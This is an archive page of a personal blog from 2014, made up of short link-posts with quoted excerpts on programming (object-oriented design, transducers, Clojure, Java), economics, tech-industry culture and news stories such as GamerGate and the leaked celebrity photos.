Bristol Palin’s “heavily intoxicated” behavior had already prompted her famous mother to release a statement describing her daughter as “one of the strongest young women you’ll ever meet.” Sarah Palin went on to praise Bristol’s “work ...

Read More Source

October 18th, 2014

In Philosophy

No Comments

How should people argue?

I like this:

So if, for example, somebody discussing my views on monetary policy refers to me as “Enron consultant Paul Krugman”, that’s ad hominem. But if I say that inflationistas have been

bobbing and weaving, refusing to acknowledge having said what they said, being completely unwilling to admit mistakes.

that’s really not ad hominem; I’m attacking how these people argue, not their personal attributes.

What about the lexicon we’ve developed over the course of the past few years — zombies, cockroaches, confidence fairies, ...

Read More Source

October 9th, 2014

In Philosophy

No Comments

The women defending Kurdistan

Interesting:

Several of the women, like General Zelal, 33, (pictured below) one of the leaders of YPJ, expanded upon the idea of the independence the group brings women of the region: “I don’t want to get married or have children or be in the house all day. I want to be free. If I couldn’t be a YPJ I think my spirit would die. Being a YPJ soldier means being free—this is what it means to truly be free.”

“There ...

Read More Source

October 7th, 2014

In Technology

No Comments

Axilmar’s Blog responds to “Object Oriented Programing is an expensive disaster”

Axilmar’s Blog has a very strange post. I can not know if English is their native language, and I am sympathetic that some ideas get lost in translation. Still, they seem to have misread most of the article. On Hacker News they were asked how they extracted points from the article, and they wrote:

I just read it, skipping the non-essential parts, after quickly scanning them. I might have missed one or two points, but it doesn’t really matter.

But they frequently ...

Read More Source

October 7th, 2014

In Technology

No Comments

Phil Trelford shrinks 30,000 words to a useful 167

Phil Trelford did a very good job summarizing my 30,000 words with just 167 words.

Source

October 7th, 2014

In Technology

10 Comments

Object Oriented Programming is an expensive disaster which must end

The No True Scotsman fallacy leads to arguments like this:

Person A: “No Scotsman ever steals.”

Person B: “I know of a Scotsman who stole.”

Person A: “No True Scotsman would ever steal.”

Person A is thus protected from the harmful effects of new information. New information is dangerous, as it might cause someone to change their mind. New information can be rendered safe simply by declaring it to be invalid. Person A believes ...

Read More Source

October 6th, 2014

In Technology

No Comments

Brilliant insights ruin your personal life

Sort of funny:

Once I figured out this algorithm, I knew I was onto something big. It massively simplified the design of the system by avoiding all the aforementioned problems, along with making things way more performant. (Amusingly, the day I figured out the algorithm I had a date with a girl I’d met recently. But I was so excited by what I’d just discovered that I was completely distracted the whole time. Needless to say, I did not do well ...

Read More Source

October 6th, 2014

In Philosophy

No Comments

Lena Dunham’s book

An interesting review:

I didn’t read Not This Kind of Girl seeking insight. I’m not much into relatability: I already find myself a bit outsize for comfort, and part of why I avoided Dunham’s oeuvre is that I spend too much time looking in mirrors as it is. But two parts of her memoir did that juice-cleanse thing she was wanting.

First, the chapter called “I Didn’t Fuck Them, but They Yelled At Me,” which is an unsentimental indictment of the ...

Read More Source

October 6th, 2014

In Business

No Comments

What exactly is the link between success and narcissistic overconfidence?

Interesting:

There’s something in this. Narcissism pays both across the wage distribution – because men who spend lots of time in front of the mirror earn more – and in the boardroom: narcissistic CEOs are better paid. And way back in 1986, Richard Roll said that value-destroying takeovers were often motivated by hubris (pdf) – though he was only echoing Kenneth Boulding’s warning (pdf) of 20 years earlier, that:

There is a great deal of evidence that almost all organizational structures ...

Read More Source

October 5th, 2014

In Business

No Comments

GamerGate reveals rampant misogyny

This is awful:

For those of you who aren’t gamers (or don’t hang out all day on Reddit or Twitter), Gamergate arose after the ex-boyfriend of indie game developer Zoe Quinn accused her of trading sex for positive reviews. Following an ethics investigation by the gaming site Kotaku, these allegations proved to be false. But that hasn’t stopped Quinn and other prominent females in the gaming community from being subjected to rape threats and other horrifically misogynist rhetoric. Gamergate defenders ...

Read More Source

October 4th, 2014

In Business

No Comments

Programmers who become managers forget how hard programming is

I like this:

But my objection to the advice that management should not contribute technically is actually deeper than technical conflict resolution. Software is so hard that it becomes like child birth in that we have an overwhelming bias to forget the pain: the second you stop writing software, you start rewriting your own history. So as far as you can remember, it was all pretty straightforward, you always hit your deadlines, etc. And with this, you have started down the ...

Read More Source

October 4th, 2014

In Business

No Comments

Loyalty to a corporation

Interesting:

A few weeks ago, a client that I worked at laid everybody off and it was brutal, it was cold. They held an all-hands meeting and said, “You’re all fired. There’s no severance, we’re going out of business, there’s no COBRA, there’s no coverage. People that are outside of the state are not eligible for unemployment. You’re just all out in the cold right now.” And a lot of the people that I really like at the company had ...

Read More Source

October 4th, 2014

In Business

No Comments

Learning a craft is like starting a business

Interesting:

Here are some of the personality flaws I’ve spotted:

Several students in different episodes are obsessed with “expressing themselves” instead of following the brief (the job specification). They waste precious time in “creative” noodling instead of actually getting shit done.

Others indulge themselves in childish boredom and rebellion when it comes to the repetition of early stages of learning, instead of committing to the basics with all their hearts.

Several more wield perfectionism as a weapon against their own achievement… a weapon, and ...

Read More Source

October 4th, 2014

In Technology

No Comments

Transducers in Javascript

Interesting:

function filterer(f) { return function(combine) { return function(result, x) { return f(x) ? combine(result, x) : result; } } }

arr.reduce( filterer(function(x) { return x > 2; })( mapper(function(x) { return x * 2; })(append) ), [] ); // -> [ 6, 8 ]

Now that we’ve decoupled the data that comes in, how it’s transformed, and what comes out, we have an insane amount of ...

Read More Source

October 2nd, 2014

In Philosophy

No Comments

Telegony is real

Interesting:

Dr Crean said her team were shocked when their experiments revealed they had discovered a new form of non-genetic inheritance.

“We did a lot of follow-up studies to check our results,” she said.

First proposed in ancient Greece, the idea that offspring can inherit characteristics from their mother’s previous mate – known as telegony – was discredited when scientists established more than a century ago that genes were the dominant way traits passed from parent to offspring.

“Before we discovered genetics it was ...

Read More Source

October 1st, 2014

In Technology

No Comments

C++ wants Lisp macros

Apparently C++ templates are getting better.

Lots of languages have added enough meta-programming to imitate Lisp marcos. Paul Graham predicted this:

8. A notation for code using trees of symbols.

9. The whole language always available. There is no real distinction between read-time, compile-time, and runtime. You can compile or run code while reading, read or run code while compiling, and read or compile code at runtime.

Running code at read-time lets users reprogram Lisp’s syntax; running code at compile-time is the basis ...

Read More Source

October 1st, 2014

In Technology

No Comments

Every function in Haskell officially only takes one parameter

The purity of Haskell is, of course, very interesting:

Every function in Haskell officially only takes one parameter. So how is it possible that we defined and used several functions that take more than one parameter so far? Well, it’s a clever trick! All the functions that accepted several parameters so far have been curried functions. What does that mean? You’ll understand it best on an example. Let’s take our good friend, the max function. It looks like it takes ...

Read More Source

October 1st, 2014

In Business

No Comments

Problems in the USA economy started in 1954

I already knew that 1958 marked the beginning of some inflection point, where the wages of young males began to flatline, a fact which brought the Baby Boom to an end. But I am surprised to see that problems in the USA economy were already taking shape as early as 1954:

We all know that Joseph McCarthy’s attack on the labor unions had big political effects, but here we see that it also had big economic effects.

Source

October 1st, 2014

In Technology

No Comments

Abstractions are slow

Interesting:

Trampolining/thunks/laziness is slow If you are unfamiliar, here is a detailed description of trampolines, and I’m going to steal his example.

Consider a corecursive pair of functions:

def odd1(n: Int): Boolean = { if (n == 0) false else even1(n – 1) } def even1(n: Int): Boolean = { if (n == 0) true else odd1(n – 1) }

If you try to call these for large n, you will rapidly get a stack overflow.

A trampoline is the following construct:

sealed trait Bounce[A] case class ...

Read More Source

October 1st, 2014

In Business

No Comments

Economic growth concentrates at the top

Interesting:

Source

October 1st, 2014

In Business

No Comments

Scrum is an industry where everyone scams everyone

Search for “scrum master certification” on Google and you get an endless sea of results:

“Agile” started with some noble ideals but has since become a bit of a scam, where the scamsters “certify” other people, so they can also become scamsters, and everyone makes huge money talking about theory, but no one has any clue about how to create good software.

Source

September 29th, 2014

In Philosophy

No Comments

Public meltdowns, in the era of the Internet, are forever

Over the centuries, lots of people have fallen into depression, and then recovered, and some have even gone on to do great things, great art, great politics, etc. Winston Churchill suffered some epic episodes of depression, but he kept coming back and fighting.

The Internet changes things. Nowadays people often make the mistake of saying in public would have in the past only been said in private. The British aristocracy had the saying “No man is a hero to his ...

Read More Source

September 29th, 2014

In Business

No Comments

Is Facebook repeating all of Friendster’s mistakes?

Queers are leaving Facebook:

If you haven’t heard of Ello before this week, you’re not alone. Just this morning my Facebook timeline blew up with friends offering invite codes for what I assumed was a new Gilt-like shopping site, and what turned out to be a new and friendlier social network, which would allow anyone who wanted to be a part of it be who they wanted to be, complete with the name they’ve chosen for themselves.

Ello’s uptick in popularity comes ...

Read More Source

September 29th, 2014

In Business

No Comments

Declining wages spread to the rest of the West

In the USA, real wages for men have been declining since 1973:

Now, this tragic downward spiral is spreading to other Western nations:

Real wages continue to fall in the UK and elsewhere, yet despite this striking feature of the labour market, some commentators anticipate resurgent pay growth in the near future. This column argues that the absence of any improvement in the UK’s productivity performance – together with evidence that nominal wage growth is flatlining and real wage growth ...

Read More Source

September 28th, 2014

In Technology

No Comments

Queues are databases

Interesting:

We’ve been using RabbitMQ for messaging for a long time. Some messages are purely reactive: An object was changed, so some other subscribing application needs to react by updating its data structures to reflect the change. This is an event. Other messages represent jobs. Jobs are tasks that are queued up for processing. Processing photos, for example, is a classic job. Jobs don’t fall that well into the RabbitMQ/AMQP framework because it’s designed for messaging and is, despite support for things ...

Read More Source

September 23rd, 2014

In Technology

No Comments

We need a new protocol to replace HTTP and allow for software

About this:

” We do not control the environment executing our JavaScript code, interpreting our HTML, or applying our CSS. Our users control the device (and, thereby, its processor speed, RAM, etc.). Our users choose the operating system. Our users pick the browser and which version they use.”

The original idea of a “browser” was something that was as agnostic as possible about its environment, but somehow managed to deliver a nearly universal experience. The traditional idea of a “browser” does not ...

Read More Source

September 23rd, 2014

In Technology

No Comments

Treacherous unexpected pitfalls in Java

Very interesting, this is a mistake I could easily make:

After being quite puzzled for a while as to why this was happening finally I found the answer in Java 7 api docs for Process.

Because some native platforms only provide limited buffer size for standard input and output streams, failure to promptly write the input stream or read the output stream of the subprocess may cause the subprocess to block, or even deadlock.

They found this fix:

They remark:

This is so ...

Read More Source

September 23rd, 2014

In Technology

No Comments

A painful pause while my app is running

I used Clojure to build a RESTful API. I was successful in so far as that went, but now I face the issue that every once in a while, the program pauses, for a painfully long time — sometimes 30 seconds, which causes some requests to the API to timeout. We are still in testing, so there is no real load on the app, just the frontenders, writing Javascript and making Ajax calls to the service.

The service seems like ...

Read More Source

September 22nd, 2014

In Business

No Comments

How to publish one’s own book

Interesting:

I had been reading Nathan Barry’s excellent book Authority and something about it inspired me. I started throwing around ideas, things that I knew well and that weren’t well covered already, and I turned up Stripe. I know Stripe very well having used it for a bunch of projects in the past few years. I also know Rails, using it in most of those projects plus at my day job. I knew for sure that there were things about payment ...

Read More Source

September 22nd, 2014

In Technology

No Comments

How to restart public JVM services

How do have zero-downtime restarts and upgrades? This is interesting:

We’re going to use Stuart Sierra’s excellent component project to manage the lifecycle of our service which, for the moment, will simply store a random number on initialisation and serve that back in response to any request. Getting Jetty to start on a random, operating system assigned, port is simply a matter of passing zero as the desired port number. If we then communicate this port number in some way ...

Read More Source

September 22nd, 2014

In Technology

No Comments

Async is state machines

I thought I linked to this before but now I can not find evidence of the earlier link:

The State Machines of core.async

It seems this idea has been around for decades but only during the last 2 years did the idea go mainstream. Python and Clojure and Javascript have all added libraries that allow async programming. All of these libraries use state machines to hide the reality of “callback hell”.

I’m going to use a pretty trivial function to examine ...

Read More Source

September 22nd, 2014

In Technology

No Comments

Transducers in Javascript

Transducers in Javascript.

This is an interesting sentence:

The reduce function is the base transformation; any other transformation can be expressed in terms of it (map, filter, etc).

All of the programming languages seem to be adding all of the same features. Over the last 2 years, suddenly people woke up and realized they could escape “callback hell” by using finite state machines to enable a pleasant API for async programming, core.async being a good Clojure example.

Now James Long adds transducers to ...

Read More Source

September 22nd, 2014

In Technology

No Comments

What is so hard about disequilibrium dynamics?

This is a throwaway line by Paul Krugman:

What are the alternatives? One — which took over much of macro — is to do intertemporal equilibrium all the way, with consumers making lifetime consumption plans, prices set with the future rationally expected, and so on. That’s DSGE — and I think Glasner and I agree that this hasn’t worked out too well. In fact, economists who never learned temporary-equiibrium-style modeling have had a strong tendency to reinvent pre-Keynesian fallacies (cough-Say’s ...

Read More Source

September 22nd, 2014

In Philosophy

No Comments

Is depression honest?

Interesting:

Depressed Rand is weird. Don’t get me wrong, regular Rand is weird, too. But depressed Rand magnifies the bad 10X and minimizes the good. He refuses to even acknowledge good news and, because he’s a pretty smart guy, he can usually argue for why that good news is actually just temporary and will turn to shit any minute. The weird part is, I think depressed Rand is actually a very authentic version of myself. When I felt depressed, I upheld ...

Read More Source

September 22nd, 2014

In Business

No Comments

The sacrifices of women who are CEOs

Interesting:

Nega-Brianna I’m late for a programming meeting with Maria, and don’t have time to be stuck in Boston traffic. So instead of grabbing my car keys, I don black, skin-tight leather armor and leap on my motorcycle. It’s a 2009 Honda CBR600RR in racing red — something straight out of Akira. I’ve leaned into highway turns at 80 mph feeling nothing but speed, the air whipping all around me, and my thighs gripping a 212°F engine for dear life. My emotional ...

Read More Source

September 22nd, 2014

In Technology

No Comments

The problems with Object Oriented Programming are well known

This is a great summary of all of the arguments against Object Oriented Programming:

Equality

Let’s look at intensional equality as provided by object identity. Apparently this is not what we want at all times, otherwise we wouldn’t see this pattern called ValueObject 3. A type like Javas String is a well-known example of a successful ValueObject implementation. The price for this freedom of choice is a rule that the == operator is almost useless and we must use equals because ...

Read More Source

September 22nd, 2014

In Technology

No Comments

Why do people use inheritance in Javascript?

I like this:

Why do people use inheritance?

JavaScript makes inheritance a pain in the ass to implement, so why is it so popular among frameworks? Part of the problem is that JavaScript has always looked like a flimsy lightweight scripting language next to Java and its strongly typed kin; keen to prove that they are using a real language for big people, JavaScript developers have rushed to adopt an OO feature that was never very good in the first place. Strongly ...

Read More Source

September 22nd, 2014

In Technology

No Comments

Inheritance is evil

Interesting:

All of the pain caused by inheritance can be traced back to the fact that inheritance forces ‘is-a’ rather than ‘has-a’ relationships. If class R2Unit extends Droid, then a R2Unit is-a Droid. If class Jedi contains an instance variable of type Lightsabre, then a Jedi has-a Lightsabre.

The other kind of inheritance

By the way, my gripe is with concrete inheritance – one class deriving from another and inheriting behavior from the parent class. I have no problem with interface inheritance, where ...

Read More Source

September 22nd, 2014

In Business

No Comments

Crime no longer lifts people out of poverty

After 2 centuries where crime lifted people out of poverty, the USA faces a situation where crime no longer helps people:

Chuck and Mike were criminals: they were complicit in the barbarism of the drug trade. But, in the Mertonian sense, they were also innovators. Goffman describes how they craved success in mainstream society. They tried to get an education and legitimate jobs, only to find themselves thwarted. Selling crack was a business they entered into only because they believed that ...

Read More Source

September 22nd, 2014

In Philosophy

No Comments

More celebrity photos leaked

I’m left thinking that the Cloud is not ready to be used for consumer services. Developers such as myself know the risks, but the average consumer does not.

Gabrielle Union has been hit in the latest string of hacked, stolen, and leaked nude photos of female celebrities, and her legal team will be contacting the FBI regarding the matter. She and her new husband Dwyane Wade have released a joint statement, highlighting the callous treatment of women, particularly women ...

Read More Source

September 22nd, 2014

In Philosophy

No Comments

Getting famous with criminal pranks

The trend toward outrageous pranks is disturbing. The latest cause for concern is a guy grabbing women’s asses and recording their reactions — and making money via YouTube with this. Hopefully the women can press charges. There is plenty of video evidence.

Sam Pepper is a successful YouTube prank star. His videos frequently have over one million views and he’s well known in the community for being outrageous. Yesterday he posted a video where he went around to young women ...

Read More Source

September 21st, 2014

In Business

No Comments

The struggle between Uber and its drivers

Uber’s drivers are hemmed in by Uber’s changing terms, feel the need to organize a union:

Kazi drives a Toyota Prius for Uber in Los Angeles. He hates it. He barely makes minimum wage, and his back hurts after long shifts. But every time a passenger asks what it’s like working for Uber, he lies: “It’s like owning my own business; I love it.”

Kazi lies because his job depends on it. After passengers finish a ride, Uber asks them to rate ...

Read More Source

September 21st, 2014

In Business

No Comments

Yet another investor complains about low rates

Are these people stupid? Yet another article complaining about low rates. Rates were higher in the 1990s, but we still had the original Internet boom.

Gurley’s thesis isn’t hard to follow: Companies are being rewarded by the market for spending — and losing — huge sums of private capital that they can cheaply and quickly raise given the current investment and equities climate. Or, put another way, investors are giving companies huge sums to burn, because the market is willing to ...

Read More Source

September 20th, 2014

In Technology

No Comments

The Dark Age Of Emacs

I am curious why such a famous text editor is in such terrible shape, and so far behind industry best practices when it comes to stuff like package management. This seems like a good argument:

Code from the Dark Age of Emacs is kept in blog posts, hosted on EmacsWiki, stuck in some obscure directory on university domains, lost to the ether that is personal websites with expired hosting… Tracking down updated versions is nigh impossible, because they’re often ...

Read More Source

September 12th, 2014

In Business

No Comments

Wikipedia lacks women

Interesting:

It is sometimes argued that women simply have less time to contribute to Wikipedia, due to family commitments. This is a fallacy. Firstly, the United Nations University survey found that only 33.29% of respondents had a partner, and only 14.72% had children. The difference between readers and contributors was negligible here, and the survey report’s analysis indicated only a minor difference in parenthood percentages for male (15.1%) and female (13.7%) respondents. It is patently obvious that girls and women in ...

Read More Source

September 10th, 2014

In Business

No Comments

A corrupt for-profit college

Sickening:

What was working at Neumont like with Ned Levine as President? A former student, Jason Aquino, claimed that Levine harassed him and other students at the school. Another student, Ryan Elkins, was “banned” from campus after starting a blog talking about some of his experiences at Neumont. The CollegeTimes team was also bribed and then threatened by Levine as well. Does Mr. Levine maintain a carrot/stick attitude with his employees? What did you witness happen to Kristi Robertson in ...

Read More Source

September 9th, 2014

In Technology

No Comments

How to avoid race conditions in Java

Interesting:

Giving a precise answer involves examining the complete Java program – depending on the context in which this snippet executes, the transformed snippet may or may not be equivalent to the original. For example, if there are no writes to volatileF (and so regV is always 0 and so is regNV) in the Java program then the transform is trivially safe. However, it is more interesting to be able to make local judgments when JIT compiling a single method. Specifically, ...

Read More Source

September 9th, 2014

In Business

No Comments

What sort of social life do you have if you live at work?

I have often worked over-night at work, but I can not imagine doing this for several months on end. Mostly, I wonder what sort of social life these people have?

Ben Discoe, a Google [X] UI programmer, says he lived on Google’s campus for 13 months.

” I had a house payment and alimony to pay,” Discoe writes. “No money left for South Bay rental prices. I got a 1990 GMC Vandura custom conversion van for $1800 (blue velour, ...

Read More Source

September 9th, 2014

In Philosophy

No Comments

Women who defend their abusers

Sad:

Source

September 9th, 2014

In Philosophy

No Comments

Vladimir Voevodsky grounds mathematics on Homotopy Type Theory

Interesting:

Voevodsky, a professor at the Institute for Advanced Study in Princeton, wants to bring together two streams of development of today’s mathematics. ETH has invited him to present his ideas in Zurich as a speaker of the 2014 Paul Bernays Lectures in September. Giovanni Felder, the director of the ETH Institute for Theoretical Studies (ITS), will introduce his research to the lecture audience at ETH. He says: “Voevodsky is developing a new theory which places mathematics on a new foundation. ...

Read More Source

September 8th, 2014

In Business

No Comments

Sarah Lacy believes in patience

Interesting:

Nearly every single investor Pando has has asked me how more money or algorithms can scale our company faster. My answer is always: They can’t. It’s just going to take five to ten years of solid work to build the media company we want to build. There is no shortcut.

Further, I’ve been told– again and again– that there is no way to build a huge ad-based business without Huffington Post/BuzzFeed-like page views and scale. I disagree with that one ...

Read More Source

September 8th, 2014

In Business

No Comments

The sharing economy gives rise to the scam economy

Pathetic:

Kreyos’ story is starting to feel as old as time itself. It went live on Indiegogo in June last year, trying to raise $100,000 for what it promised to be the only smartwatch to combine both voice and gesture control. It ended up with 15 times that amount: $1.5m. Its Meteor smartwatch would track sleep, and exercise, and be waterproof. Kreyos promised that it was ready to go straight into production when funding closed in August and would ship ...

Read More Source

September 8th, 2014

In Technology

No Comments

The Shen language was shaped by illness and rejection

I have become interested in the Shen language. While reading the “history” page, I notice that illness and death play a large role, and also rejection of new ideas by audiences which misunderstand the speaker:

The appearance of Qi was swiftly followed by a serious illness that laid me up for 2006 and most of 2007. Following a partial recovery in 2008, a factorising version of the Qi compiler was introduced which made Qi competitive with the fastest hand-compiled Lisp ...

Read More Source

September 8th, 2014

In Business

No Comments

Innovation to end The Great Stagnation

Interesting:

“It’s pretty amazing to hold leather that no pig or cow died for,” says Lindy Fishburne, an officer of the Thiel Foundation. She is describing a slightly creepy “biofabricated” product made by a startup the foundation funded with a $350,000 donation. The company, named Modern Meadow, makes leather and, indeed, meat by taking skin or muscle samples from animals via biopsy and then growing them in vitro. Modern Meadow is just one of 19 futuristic startups that have received ...

Read More Source

September 8th, 2014

In Philosophy

No Comments

Cat scratch fever can be transmitted by ticks

It is incredible to consider how much evil ticks do. Apparently “cat scratch fever” is only sometimes from cats, it is technically Bartonella infection, which commonly comes from tick bites.

Source

September 8th, 2014

In Business

No Comments

Apple has been sloppy about security

Apple allowed brute force attacks on iCloud? Amazing and awful:

First the company updated the iCloud website to prevent brute-force attacks, patching a vulnerability that should never have been there in the first place. Now it plans to add more security features to iCloud, allowing it to message people when the service is backed up, passwords are changed, or a new device is used to access the service for the first time, according to a Wall Street Journal report.

Source

September 8th, 2014

In Business

No Comments

Gawker struggles to avoid full impact of unpaid-intern lawsuit

Interesting:

In the letter, we learn that Gawker doesn’t want to have to post the notice in its offices, on the basis that it no longer employs unpaid interns. But, as the plaintiffs point out, several of Gawker’s current staffers began their career at the company as unpaid interns, and so would be entitled to join the class.

We also learn that Gawker doesn’t want to allow social media to be used to reach prospective plaintiffs, even though that’s exactly the best ...

Read More Source

September 8th, 2014

In Philosophy

No Comments

Professors using Facebook for class

Interesting:

I tried a secret Facebook group with an online class over the summer—we didn’t have to be Facebook friends, which was a relief, and far from creepy, it reinforced for me that it’s during these informal interactions outside the classroom where actual learning happens.

Some professors do see value in the emailed lecture notes, holding class conversations on Twitter. To do any of this means long syllabi with explanations and tutorials on technology to get everyone up to snuff. Some students ...

Read More Source

September 8th, 2014

In Technology

No Comments

How should Twitter work?

I am thinking this might be a new business model for me to work toward:

As a reader, I seek an algorithm which weeds out some repetition. For instance I sometimes see a Vox.com article in my feed from three different sources — it would suffice to see it once, along with a color shading indicating that some other people in my feed were tweeting the same thing. I also would like blocks on tweets about the ...

Read More Source

September 8th, 2014

In Philosophy

No Comments

Prosecutors show no regrets about jailing innocent men

Disgusting:

Last week, two men were released after spending 30 years in prison in North Carolina. They were falsely convicted of rape and murder in 1983. They were both exonerated by DNA evidence. The man who prosecuted them is, proudly, no pussy.

Henry Lee McCollum (pictured) and Leon Brown are both mentally disabled. It now appears that their confessions to the crime were coerced, and the details in their confessions the product of prompting by the police. McCollum was sent to ...

Read More Source

September 7th, 2014

In Philosophy

No Comments

The many lives a woman might live

Interesting project:

Things I love about this project? It’s whimsical and transformative, and manages to both reflect the way the quality of a woman’s life can be the direct result of the man she ends up with or doesn’t, for better or for worse, and whether or not she has kids and how many — while also subverting that notion. She’s an everywoman while also highly individual. Though she’s partnered in every photo, her income and class and taste are ...

Read More Source

September 6th, 2014

In Philosophy

No Comments

More awful news about racist police

Very sad:

In one message, Officer Elsbury — whose patrol included the area around the historically black Southern University — wrote that blacks are “nothing but a bunch of monkeys,” and that the “only reason they have this job is the nigger, nigger in them.” It is unclear what “job” he is referring to.

In another text, he wrote that “I wish someone would pull a Ferguson on them and take them out. I hate looking at those African monkeys at work…I ...

Read More Source

September 4th, 2014

In Philosophy

No Comments

Tortoise survives 32 years in an attic

Amazing story:

Back in 1982, the Almeida Family was saddened to learn that their beloved pet, Manuela, a young red-footed tortoise, had gone missing. Their house was under renovation at the time, so the family just assumed that the slow-moving animal had slipped out through a gate left open by the construction crew — disappearing into the forest near their home in Realengo, Brazil. But they couldn’t have been more wrong.

The true fate of their lost pet remained a mystery for ...

Read More Source

September 4th, 2014

In Philosophy

No Comments

An exaggerated sense of entitlement regarding celebrity photos

People’s reactions to the leaked celebrity photos are pretty gross. Jezebel has a nice response to the hatred being expressed at the celebrities:

These women got themselves into this situation by owning their bodies and their sexuality. Doesn’t that mean everyone on Reddit should own those things too? As one redditor pointed out (and I am paraphrasing here because I’m not going back there), “we only know them as bodies, so this isn’t that different.”

Stealing private photos and posting them ...

Read More Source

September 4th, 2014

In Business

No Comments

How can a corporation keep its employees from spying on celebrities?

This must be a big problem for all corporations, but it sounds like it is worse at Apple:

Eva Longoria: “I’ve had a lot of problems of people breaking into my email”

Billy Bush: “Hacked?”

Eva Longoria: “Yeah my Mac email… not hacked, just go get it from the stores and I had a big problem with that.”

Kit Hoover followed up, asking: “Wait, what were they sending you? Like ‘Hi Eva, my name is John?’”

Eva Longoria: “Yeah. ‘I made a dress I want ...

Read More Source

September 4th, 2014

In Technology

No Comments

New discoveries with The Sims

I have never played the Sims game. I did play Sim City back in the 1990s. I was first introduced to the game in 1994 and lost a weekend discovering all I could about it. In my life I have probably played the game 100 times?

The Sims has a strong culture around it, which is something that only a handful of games have achieved. This whole bit was funny and interesting:

But for whatever reason, I’d just never played ...

Read More Source

September 4th, 2014

In Technology

No Comments

Tech stereotypes I did not know: devops more exciting than programming

Last night I was a table full of programmers and devops. One of the devops said “I’ve been thinking that I’d like to convert to programming.” Another devops said “You will be bored.” Everyone nodded in agreement. I was surprised by this. Is this some known conventional wisdom? I get the adrenaline rush of having to fix the servers when they have crashed and you are offline and the siren is going, but is that more interesting, over the long ...

Read More Source

September 4th, 2014

In Business

No Comments

There is an insane amount of blackhat hacking going on

Interesting:

4. The frequent source of new leads for targets seems to be newcomers who know somebody they want to hack and have stumbled onto one of the networks offering services via search terms or a forum they frequent. The new contributor will offer up a Facebook profile link, plus as much information as is required by the hacker to break the account, plus possible assistance in getting a RAT installed if required. In exchange the hacker and ripped will ...

Read More Source

September 3rd, 2014

In Philosophy

No Comments

What would a Pelagian version of math look like?

Nicely said:

The world does not suffer from an oversupply of clarity and understanding (to put it mildly). How and whether specific mathematics might lead to improving the world (whatever that means) is usually impossible to tease out, but mathematics collectively is extremely important.

I think of mathematics as having a large component of psychology, because of its strong dependence on human minds. Dehumanized mathematics would be more like computer code, which is very different. Mathematical ideas, even simple ideas, are often ...

Read More Source

September 3rd, 2014

In Business

No Comments

The problem building a business to cater to the poor

Interesting:

1) Poor areas are overrun with corruption and graft. Its very hard to do the right thing, when individuals with power will actively work to put a bribe barrier between you and your work. Its like these individuals smell out good intentions and attempt to tax them for the perceived weak-minded good intentions. An example would be, after my brother created several successful startups using ex-cons, he wanted to turn the program over to the City. He quickly learned ...

Read More Source

September 3rd, 2014

In Business

No Comments

The problem with the current tech startup scene

Though ignored by the current tech startup scene, there are some huge problems that need to be solved in the USA:

To your left are single mothers, 80% of whom, according to the US Census, are poor or hovering on the nasty edges of working poverty. They are struggling to raise their kids in a country that seems to conspire against any semblance of proper rearing: a lack of flexibility in the workplace; a lack of free or ...

Read More Source

September 3rd, 2014

In Technology

No Comments

How ignorant am I, and how do I formally specify that in my code?

For decades, computer programmers have argued with each other over the issue of strict data-type enforcement, versus dynamic data-type unenforcement. And after 16 years of computer programming, I have come down firmly in the middle: I like optional typing.

In computer programming, the static type advocates wear a perpetual sneer, claiming that many problems in programming would be solved if only we adopted their approach. And yet, many languages are statically typed, and software written with those languages continue to ...

Read More Source

September 2nd, 2014

In Technology

No Comments

Bayesian calculations often depend on sampling methods such as Markov Chain Monte Carlo?

I really wish I understood this article. I need to commit to spending some serious time studying statistics, so I can catch up with the modern boom in data analysis. Because 90% of this article is over my head. But from what I can glean, it is very informative:

You’ll noticed that I glossed over something here: the prior, P(Ftrue). The prior allows inclusion of other information into the computation, which becomes very useful in cases where multiple measurement strategies are ...

Read More Source

September 2nd, 2014

In Technology

No Comments

Transducers are coming to all the core functions of Clojure

Interesting, though I think this is only a convenience:

One of the parts of the announcement of transducers was that clojure’s core functions (map, filter, take, etc) that normally operate on sequences will gain a new arity that returns a transducer when called with a single argument that’s a function. The new code for the 1-arity map looks much like what we already wrote (ignore the other arities for now).

;; Source of the new arity of the ‘map’ function. (defn map ...

Read More Source

September 2nd, 2014

In Technology

No Comments

We can not estimate how long that software project will take

This is great:

Combining Independent Estimates Improves Estimation Accuracy

The average of effort estimates from different sources is likely to be more accurate than most individual effort estimates. A key assumption for accuracy improvement is that the estimates are independent, which is true if their sources differ in expertise, background, and estimation process. A Delphi-like estimation process, such as “Planning Poker,” where software developers show their independently derived estimates (their “poker” cards) at the same time, seems to be particularly useful in ...

Read More Source

September 2nd, 2014

In Business

No Comments

The frustrations of Twitter

This is smart and sad:

We concede that there is some value to Twitter, but the social musing we did early on no longer fits. My feed (full of people I admire) is mostly just a loud, stupid, sad place. Basically: a mirror to the world we made that I don’t want to look into. The common way to refute my complaint is to say that I’m following the wrong people. I think I’m following the right people, I’m just seeing ...

Read More Source

September 2nd, 2014

In Philosophy

No Comments

Your 9 year old can use guns but can’t play in a park

Very sad:

It’s just the sad state of affairs in which we find ourselves, after a 9-year-old New Jersey girl accidentally shot and killed her instructor at a firing range in Arizona. The girl’s parents paid for her to fire a fully automatic machine gun, but she lost control of the weapon and shot her instructor, Charles Vacca, killing the military veteran.

The chilling ordeal was caught on tape, courtesy of the girl’s parents, but Arizona police officials have said no charges ...

Read More Source

August 30th, 2014

In Philosophy

No Comments

Big Data solves cancer

Interesting:

IN MAY last year, a supercomputer in San Jose, California, read 100,000 research papers in 2 hours. It found completely new biology hidden in the data. Called KnIT, the computer is one of a handful of systems pushing back the frontiers of knowledge without human help.

KnIT didn’t read the papers like a scientist – that would have taken a lifetime. Instead, it scanned for information on a protein called p53, and a class of enzymes that can interact with it, ...

Read More Source

August 30th, 2014

In Philosophy

No Comments

Independent women under Communism

Interesting:

The East German woman had a job, was economically independent, self-confident, and divorce-happy; at a time when only 50 percent of West German women made their own money, 90 percent of women in East Germany were employed.

…the East German woman didn’t consider her male partner an enemy but rather a partner who, economically speaking, had little or nothig on her. Indeed, the average East German man, unless he had managed to gin a foothold in the regime’s upper ...

Read More Source

August 30th, 2014

In Philosophy

No Comments

The end of the quiet era

Interesting:

Having flipped the global chessboard with his annexation of the Crimea and an undeclared war against Ukraine, Putin effectively ended the most recent period of interregnum and inaugurated a new era in global politics. However, no one yet knows what this era will bring. The global community is still reeling in shock, when it isn’t trying to pretend that nothing extraordinary has in fact occurred. This denial of the fact that the Kremlin has dealt a blow to conventional ...

Read More Source

August 30th, 2014

In Philosophy

No Comments

American Exceptionalism

Interesting:

